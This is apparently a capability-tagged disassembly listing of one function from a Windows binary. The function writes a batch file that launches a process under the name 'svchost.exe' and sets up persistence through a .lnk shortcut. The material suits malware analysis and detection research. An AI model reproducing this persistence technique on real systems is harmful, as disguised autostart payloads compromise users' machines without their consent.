Function at 0x40fd00
Capabilities:
Create directory
Persist via lnk shortcut
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ff88
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4368d0
call dword [0x4897a4]
test eax, eax
jne 0x40ff7e
push str.DF857D4C_4EBF_45E6_89A8_3179F14E6559
mov ecx, dword [ebp - 8]
push ecx
push 0x432af8
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042217a
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
push 0x47dce8
call fcn.0040d850
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40ff74
push 0xbb8
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40ff6a
push str.60A4DD07_D642_4E11_A5EF_8964F2A7CC16
push str.svchost.exe
mov ecx, dword [ebp - 0x10]
push ecx
push str._echo_off_ncmd__c_start______S_S___S
push 0xbb8
mov edx, dword [ebp - 0x14]
push edx
call fcn.00422dec
add esp, 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x4368e0
call dword [0x4897a4]
test eax, eax
jne 0x40ff60
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40ff56
push str.CE3A7F9D_1E73_435A_B0F9_47CED955CB52
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x432b30
push 0x7fff
mov edx, dword [ebp - 0x20]
push edx
call fcn.0042217a
add esp, 0x14
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
je 0x40fe33
call dword [0x48944c]
cmp eax, 0xb7
jne 0x40ff4c
push 0xfffe
push 0x40
call dword [0x4893ec]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40ff4c
push str.D417F4DA_94EE_427F_8BCB_34B0AFEBCEE0
push str.CE3A7F9D_1E73_435A_B0F9_47CED955CB52
mov ecx, dword [ebp - 0x1c]
push ecx
push str._s_s_s.bat
push 0x7fff
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042217a
add esp, 0x18
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40ff42
mov dword [ebp - 0x30], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jne 0x40ff32
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x4893e4]
mov dword [ebp - 0x2c], 0xffffffff
push 0x432b58
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0041b9f0
add esp, 0xc
test eax, eax
jne 0x40ff32
mov eax, dword [ebp - 0x28]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x4897c0]
mov edx, dword [ebp - 8]
push edx
call dword [0x4897c0]
mov eax, dword [ebp - 4]
push eax
call dword [0x4893f8]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x4893f8]
mov eax, 1
jmp 0x40ff8a
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40ff42
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x4893e4]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x4897c0]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x4893f8]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x4893f8]
mov eax, dword [ebp - 8]
push eax
call dword [0x4897c0]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x4893f8]
xor eax, eax
mov esp, ebp
pop ebp
ret